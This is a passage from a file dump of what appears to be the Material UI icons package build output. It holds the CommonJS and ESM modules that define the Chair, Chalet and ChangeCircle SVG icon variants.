    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8V6c0-1.65-1.35-3-3-3H7C5.35 3 4 4.35 4 6v2c-1.65 0-3 1.35-3 3v5c0 1.65 1.35 3 3 3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1c1.65 0 3-1.35 3-3v-5c0-1.65-1.35-3-3-3M6 6c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v2.78c-.61.55-1 1.34-1 2.22v2H7v-2c0-.88-.39-1.67-1-2.22zm15 10c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v4h14v-4c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'ChairOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8V6c0-1.65-1.35-3-3-3H7C5.35 3 4 4.35 4 6v2c-1.65 0-3 1.35-3 3v5c0 1.65 1.35 3 3 3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1c1.65 0 3-1.35 3-3v-5c0-1.65-1.35-3-3-3M6 6c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v2.78c-.61.55-1 1.34-1 2.22v2H7v-2c0-.88-.39-1.67-1-2.22zm15 10c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v4h14v-4c0-.55.45-1 1-1s1 .45 1 1z\"\n}), 'ChairOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 9c-1.1 0-2 .9-2 2v4H5v-4c0-1.1-.9-2-2-2s-2 .9-2 2v5c0 1.65 1.35 3 3 3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1c1.65 0 3-1.35 3-3v-5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 11v2h10v-2c0-1.86 1.28-3.41 3-3.86V6c0-1.65-1.35-3-3-3H7C5.35 3 4 4.35 4 6v1.14c1.72.45 3 2 3 3.86\"\n}, \"1\")], 'ChairRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 9c-1.1 0-2 .9-2 2v4H5v-4c0-1.1-.9-2-2-2s-2 .9-2 2v5c0 1.65 1.35 3 3 3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1c1.65 0 3-1.35 3-3v-5c0-1.1-.9-2-2-2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 11v2h10v-2c0-1.86 1.28-3.41 3-3.86V6c0-1.65-1.35-3-3-3H7C5.35 3 4 4.35 4 6v1.14c1.72.45 3 2 3 3.86\"\n}, \"1\")], 'ChairRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13h10V7h3V3H4v4h3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 9h-4v6H5V9H1v10h3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1h3z\"\n}, \"1\")], 'ChairSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13h10V7h3V3H4v4h3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 9h-4v6H5V9H1v10h3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1h3z\"\n}, \"1\")], 'ChairSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13h10v-2c0-.88.39-1.67 1-2.22V6c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v2.78c.61.55 1 1.34 1 2.22z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 10c-.55 0-1 .45-1 1v4H5v-4c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 8V6c0-1.65-1.35-3-3-3H7C5.35 3 4 4.35 4 6v2c-1.65 0-3 1.35-3 3v5c0 1.65 1.35 3 3 3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1c1.65 0 3-1.35 3-3v-5c0-1.65-1.35-3-3-3M6 6c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v2.78c-.61.55-1 1.34-1 2.22v2H7v-2c0-.88-.39-1.67-1-2.22zm15 10c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v4h14v-4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"2\")], 'ChairTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChairTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13h10v-2c0-.88.39-1.67 1-2.22V6c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v2.78c.61.55 1 1.34 1 2.22z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 10c-.55 0-1 .45-1 1v4H5v-4c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1h16c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 8V6c0-1.65-1.35-3-3-3H7C5.35 3 4 4.35 4 6v2c-1.65 0-3 1.35-3 3v5c0 1.65 1.35 3 3 3v1c0 .55.45 1 1 1s1-.45 1-1v-1h12v1c0 .55.45 1 1 1s1-.45 1-1v-1c1.65 0 3-1.35 3-3v-5c0-1.65-1.35-3-3-3M6 6c0-.55.45-1 1-1h10c.55 0 1 .45 1 1v2.78c-.61.55-1 1.34-1 2.22v2H7v-2c0-.88-.39-1.67-1-2.22zm15 10c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-5c0-.55.45-1 1-1s1 .45 1 1v4h14v-4c0-.55.45-1 1-1s1 .45 1 1z\"\n}, \"2\")], 'ChairTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Chalet.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 7.5 7.5 7.5-1.41 1.41L15 15.33V20h-4v-5H9v5H5v-4.67l-1.09 1.09L2.5 15zm12-1h-1.19l.75-.75-.71-.71-1.46 1.46h-.89v-.89l1.45-1.45-.71-.71-.74.74V3h-1v1.19l-.75-.75-.71.71 1.45 1.45v.9h-.89l-1.45-1.45-.71.71.75.75H14v1h1.19l-.75.75.71.71 1.45-1.45h.89v.89l-1.45 1.45.71.71.75-.75V11h1V9.81l.75.75.71-.71-1.46-1.46V7.5h.89l1.45 1.45.71-.71-.74-.74H22z\"\n}), 'Chalet');"
  },
  {
    "path": "packages/mui-icons-material/lib/Chalet.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 7.5 7.5 7.5-1.41 1.41L15 15.33V20h-4v-5H9v5H5v-4.67l-1.09 1.09L2.5 15zm12-1h-1.19l.75-.75-.71-.71-1.46 1.46h-.89v-.89l1.45-1.45-.71-.71-.74.74V3h-1v1.19l-.75-.75-.71.71 1.45 1.45v.9h-.89l-1.45-1.45-.71.71.75.75H14v1h1.19l-.75.75.71.71 1.45-1.45h.89v.89l-1.45 1.45.71.71.75-.75V11h1V9.81l.75.75.71-.71-1.46-1.46V7.5h.89l1.45 1.45.71-.71-.74-.74H22z\"\n}), 'Chalet');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChaletOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 15 10 7.5 2.5 15l1.41 1.41L5 15.33V20h10v-4.67l1.09 1.09zM13 18h-2v-3H9v3H7v-4.67l3-3 3 3zm9-10.5h-1.19l.75.75-.71.71-1.46-1.46h-.89v.89l1.45 1.45-.71.71-.74-.74V11h-1V9.81l-.75.75-.71-.71 1.45-1.45v-.9h-.89l-1.45 1.45-.71-.71.75-.75H14v-1h1.19l-.75-.75.71-.71 1.45 1.45h.89v-.87l-1.45-1.45.71-.71.75.75V3h1v1.19l.75-.75.71.71-1.46 1.46v.89h.89l1.45-1.45.71.71-.74.74H22z\"\n}), 'ChaletOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChaletOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 15 10 7.5 2.5 15l1.41 1.41L5 15.33V20h10v-4.67l1.09 1.09zM13 18h-2v-3H9v3H7v-4.67l3-3 3 3zm9-10.5h-1.19l.75.75-.71.71-1.46-1.46h-.89v.89l1.45 1.45-.71.71-.74-.74V11h-1V9.81l-.75.75-.71-.71 1.45-1.45v-.9h-.89l-1.45 1.45-.71-.71.75-.75H14v-1h1.19l-.75-.75.71-.71 1.45 1.45h.89v-.87l-1.45-1.45.71-.71.75.75V3h1v1.19l.75-.75.71.71-1.46 1.46v.89h.89l1.45-1.45.71.71-.74.74H22z\"\n}), 'ChaletOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChaletRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 15c-.55 0-1 .45-1 1v4H6c-.55 0-1-.45-1-1v-3.67l-.38.38c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L9.3 8.21c.39-.39 1.02-.39 1.41 0l6.09 6.09c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0l-.39-.38V19c0 .55-.45 1-1 1h-3v-4c0-.55-.45-1-1-1m7.5-7.5v.89l-1.08 1.08c-.18.18-.21.48-.05.69.19.23.53.24.74.04l.39-.39v.69c0 .28.22.5.5.5s.5-.22.5-.5v-.69l.39.39c.21.21.55.19.74-.04.17-.2.14-.5-.05-.69L18.5 8.39V7.5h.89l1.08 1.08c.18.18.48.21.69.05.23-.19.24-.53.04-.74l-.39-.39h.69c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-.69l.39-.39c.21-.21.19-.55-.04-.74-.2-.17-.5-.14-.69.05L19.39 6.5h-.89v-.89l1.08-1.08c.18-.18.21-.48.05-.69-.19-.23-.53-.24-.74-.04l-.39.39V3.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v.69l-.39-.39c-.21-.21-.55-.19-.74.04-.17.2-.14.5.05.69l1.08 1.08v.89h-.89l-1.08-1.08c-.18-.18-.48-.21-.69-.05-.23.19-.24.53-.04.74l.39.39h-.69c-.28 0-.5.22-.5.5s.22.5.5.5h.69l-.39.39c-.21.21-.19.55.04.74.2.17.5.14.69-.05l1.08-1.08z\"\n}), 'ChaletRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChaletRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 15c-.55 0-1 .45-1 1v4H6c-.55 0-1-.45-1-1v-3.67l-.38.38c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L9.3 8.21c.39-.39 1.02-.39 1.41 0l6.09 6.09c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0l-.39-.38V19c0 .55-.45 1-1 1h-3v-4c0-.55-.45-1-1-1m7.5-7.5v.89l-1.08 1.08c-.18.18-.21.48-.05.69.19.23.53.24.74.04l.39-.39v.69c0 .28.22.5.5.5s.5-.22.5-.5v-.69l.39.39c.21.21.55.19.74-.04.17-.2.14-.5-.05-.69L18.5 8.39V7.5h.89l1.08 1.08c.18.18.48.21.69.05.23-.19.24-.53.04-.74l-.39-.39h.69c.28 0 .5-.22.5-.5s-.22-.5-.5-.5h-.69l.39-.39c.21-.21.19-.55-.04-.74-.2-.17-.5-.14-.69.05L19.39 6.5h-.89v-.89l1.08-1.08c.18-.18.21-.48.05-.69-.19-.23-.53-.24-.74-.04l-.39.39V3.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v.69l-.39-.39c-.21-.21-.55-.19-.74.04-.17.2-.14.5.05.69l1.08 1.08v.89h-.89l-1.08-1.08c-.18-.18-.48-.21-.69-.05-.23.19-.24.53-.04.74l.39.39h-.69c-.28 0-.5.22-.5.5s.22.5.5.5h.69l-.39.39c-.21.21-.19.55.04.74.2.17.5.14.69-.05l1.08-1.08z\"\n}), 'ChaletRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChaletSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10 7.5 7.5 7.5-1.41 1.41L15 15.33V20h-4v-5H9v5H5v-4.67l-1.09 1.09L2.5 15zm12-1h-1.19l.75-.75-.71-.71-1.46 1.46h-.89v-.89l1.45-1.45-.71-.71-.74.74V3h-1v1.19l-.75-.75-.71.71 1.45 1.45v.9h-.89l-1.45-1.45-.71.71.75.75H14v1h1.19l-.75.75.71.71 1.45-1.45h.89v.89l-1.45 1.45.71.71.75-.75V11h1V9.81l.75.75.71-.71-1.46-1.46V7.5h.89l1.45 1.45.71-.71-.74-.74H22z\"\n}), 'ChaletSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChaletSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10 7.5 7.5 7.5-1.41 1.41L15 15.33V20h-4v-5H9v5H5v-4.67l-1.09 1.09L2.5 15zm12-1h-1.19l.75-.75-.71-.71-1.46 1.46h-.89v-.89l1.45-1.45-.71-.71-.74.74V3h-1v1.19l-.75-.75-.71.71 1.45 1.45v.9h-.89l-1.45-1.45-.71.71.75.75H14v1h1.19l-.75.75.71.71 1.45-1.45h.89v.89l-1.45 1.45.71.71.75-.75V11h1V9.81l.75.75.71-.71-1.46-1.46V7.5h.89l1.45 1.45.71-.71-.74-.74H22z\"\n}), 'ChaletSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChaletTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 18h-2v-3H9v3H7v-4.67l3-3 3 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 15 10 7.5 2.5 15l1.41 1.41L5 15.33V20h10v-4.67l1.09 1.09zM13 18h-2v-3H9v3H7v-4.67l3-3 3 3zm9-10.5h-1.19l.75.75-.71.71-1.46-1.46h-.89v.89l1.45 1.45-.71.71-.74-.74V11h-1V9.81l-.75.75-.71-.71 1.45-1.45v-.9h-.89l-1.45 1.45-.71-.71.75-.75H14v-1h1.19l-.75-.75.71-.71 1.45 1.45h.89v-.87l-1.45-1.45.71-.71.75.75V3h1v1.19l.75-.75.71.71-1.46 1.46v.89h.89l1.45-1.45.71.71-.74.74H22z\"\n}, \"1\")], 'ChaletTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChaletTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 18h-2v-3H9v3H7v-4.67l3-3 3 3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 15 10 7.5 2.5 15l1.41 1.41L5 15.33V20h10v-4.67l1.09 1.09zM13 18h-2v-3H9v3H7v-4.67l3-3 3 3zm9-10.5h-1.19l.75.75-.71.71-1.46-1.46h-.89v.89l1.45 1.45-.71.71-.74-.74V11h-1V9.81l-.75.75-.71-.71 1.45-1.45v-.9h-.89l-1.45 1.45-.71-.71.75-.75H14v-1h1.19l-.75-.75.71-.71 1.45 1.45h.89v-.87l-1.45-1.45.71-.71.75.75V3h1v1.19l.75-.75.71.71-1.46 1.46v.89h.89l1.45-1.45.71.71-.74.74H22z\"\n}, \"1\")], 'ChaletTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.06 17v-2.01H12c-1.28 0-2.56-.49-3.54-1.46-1.71-1.71-1.92-4.35-.64-6.29l1.1 1.1c-.71 1.33-.53 3.01.59 4.13.7.7 1.62 1.03 2.54 1.01v-2.14l2.83 2.83zm4.11-4.24-1.1-1.1c.71-1.33.53-3.01-.59-4.13C13.79 8.84 12.9 8.5 12 8.5h-.06v2.15L9.11 7.83 11.94 5v2.02c1.3-.02 2.61.45 3.6 1.45 1.7 1.7 1.91 4.35.63 6.29\"\n}), 'ChangeCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.06 17v-2.01H12c-1.28 0-2.56-.49-3.54-1.46-1.71-1.71-1.92-4.35-.64-6.29l1.1 1.1c-.71 1.33-.53 3.01.59 4.13.7.7 1.62 1.03 2.54 1.01v-2.14l2.83 2.83zm4.11-4.24-1.1-1.1c.71-1.33.53-3.01-.59-4.13C13.79 8.84 12.9 8.5 12 8.5h-.06v2.15L9.11 7.83 11.94 5v2.02c1.3-.02 2.61.45 3.6 1.45 1.7 1.7 1.91 4.35.63 6.29\"\n}), 'ChangeCircle');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m4.17-5.24-1.1-1.1c.71-1.33.53-3.01-.59-4.13C13.79 8.84 12.9 8.5 12 8.5c-.03 0-.06.01-.09.01L13 9.6l-1.06 1.06-2.83-2.83L11.94 5 13 6.06l-.96.96c1.27.01 2.53.48 3.5 1.44 1.7 1.71 1.91 4.36.63 6.3m-1.28 1.41L12.06 19 11 17.94l.95-.95c-1.26-.01-2.52-.5-3.48-1.46-1.71-1.71-1.92-4.35-.64-6.29l1.1 1.1c-.71 1.33-.53 3.01.59 4.13.7.7 1.63 1.04 2.56 1.01L11 14.4l1.06-1.06z\"\n}), 'ChangeCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8m4.17-5.24-1.1-1.1c.71-1.33.53-3.01-.59-4.13C13.79 8.84 12.9 8.5 12 8.5c-.03 0-.06.01-.09.01L13 9.6l-1.06 1.06-2.83-2.83L11.94 5 13 6.06l-.96.96c1.27.01 2.53.48 3.5 1.44 1.7 1.71 1.91 4.36.63 6.3m-1.28 1.41L12.06 19 11 17.94l.95-.95c-1.26-.01-2.52-.5-3.48-1.46-1.71-1.71-1.92-4.35-.64-6.29l1.1 1.1c-.71 1.33-.53 3.01.59 4.13.7.7 1.63 1.04 2.56 1.01L11 14.4l1.06-1.06z\"\n}), 'ChangeCircleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.91 16.15c-.31.31-.85.09-.85-.35V17H12c-1.28 0-2.56-.49-3.54-1.46-1.43-1.43-1.81-3.52-1.14-5.3.19-.51.86-.64 1.24-.25.22.22.27.54.17.82-.46 1.24-.2 2.68.8 3.68.7.7 1.62 1.03 2.54 1.01v-.94c0-.45.54-.67.85-.35l1.62 1.62c.2.2.2.51 0 .71zm2.53-4.13c-.22-.22-.27-.54-.17-.82.46-1.24.2-2.68-.8-3.68-.7-.7-1.62-1.04-2.53-1.02v.94c0 .45-.54.67-.85.35L9.46 8.18c-.2-.2-.2-.51 0-.71l1.62-1.62c.31-.31.85-.09.85.35v.81c1.3-.02 2.61.45 3.6 1.45 1.43 1.43 1.81 3.52 1.14 5.3-.19.52-.85.65-1.23.26\"\n}), 'ChangeCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m.91 16.15c-.31.31-.85.09-.85-.35V17H12c-1.28 0-2.56-.49-3.54-1.46-1.43-1.43-1.81-3.52-1.14-5.3.19-.51.86-.64 1.24-.25.22.22.27.54.17.82-.46 1.24-.2 2.68.8 3.68.7.7 1.62 1.03 2.54 1.01v-.94c0-.45.54-.67.85-.35l1.62 1.62c.2.2.2.51 0 .71zm2.53-4.13c-.22-.22-.27-.54-.17-.82.46-1.24.2-2.68-.8-3.68-.7-.7-1.62-1.04-2.53-1.02v.94c0 .45-.54.67-.85.35L9.46 8.18c-.2-.2-.2-.51 0-.71l1.62-1.62c.31-.31.85-.09.85.35v.81c1.3-.02 2.61.45 3.6 1.45 1.43 1.43 1.81 3.52 1.14 5.3-.19.52-.85.65-1.23.26\"\n}), 'ChangeCircleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ChangeCircleSharp.js",
